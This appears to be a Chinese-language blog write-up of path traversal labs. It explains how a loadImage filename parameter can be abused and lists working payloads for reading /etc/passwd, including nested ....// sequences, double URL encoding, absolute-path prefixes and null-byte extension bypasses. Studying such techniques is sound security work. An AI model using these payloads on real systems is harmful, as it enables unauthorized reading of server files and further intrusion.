祝大家中秋節愉快!
我自己也沒想到我會寫這個
就是允許駭客讀取、運行網站的伺服器上的任意文件。
獲取得東西可能有:
駭客甚至可能能夠寫入伺服器上的任意文件,從而修改網站資料或動作,最終完全控制伺服器。
我們想像一下如果我們在一個網站中放一個圖片,那HTML會寫成這樣:
<img src="/loadImage?filename=218.png">
loadImage
URL 採用 filename
參數並返回指定文件的內容。這些圖像文件存儲在 /var/www/images/
的位置。
也就是圖片的路徑為:
/var/www/images/218.png
如果網站沒有防禦路徑遍歷的話,駭客就可以請求以下URL從伺服器的文件系統中搜索 /etc/passwd
文件:
https://insecure-website.com/loadImage?filename=../../../etc/passwd
../
意思是在目錄結構中上移一級。三個連續的 ../
從 /var/www/images/
上移至文件系統的根,所以實際讀取的就是 /etc/passwd
嘗試去到/etc/passwd
/image?filename=../../../etc/passwd
成功
有些應用程式只不循環地移除目錄遍歷序列,這可以通過使用巢狀序列(例如 ....//
或 ....\/
)來繞過。
/image?filename=....//....//....//etc/passwd
Web 伺服器可能在將輸入傳遞給網站之前移除任何目錄遍歷,駭客可能會繞過這一點,使用URL編碼或雙重URL編碼的 ../
字符 %2e%2e%2f
或 %252e%252e%252f
。或使用替代編碼,例如 ..%c0%af
或 ..%ef%bc%8f
也有可能攻擊成功。
我們把第一題的code偷過來用,然後改改
/image?filename=..%252f..%252f..%252fetc/passwd
成功
如果網站期望使用者的輸入從特定目錄開始,例如他想要指定 /var/www/images
,我們就先給他然後再騙他來繞過此限制。
filename=/var/www/images/../../../etc/passwd
/image?filename=/var/www/images/../../../etc/passwd
如果網站需要輸入以某個檔案擴展名結尾(例如:.png),那我們可以使用空字節 (%00) 來有效地結束檔案路徑,例如 filename=../../../etc/passwd%00.png
。
/image?filename=../../../etc/passwd%00.png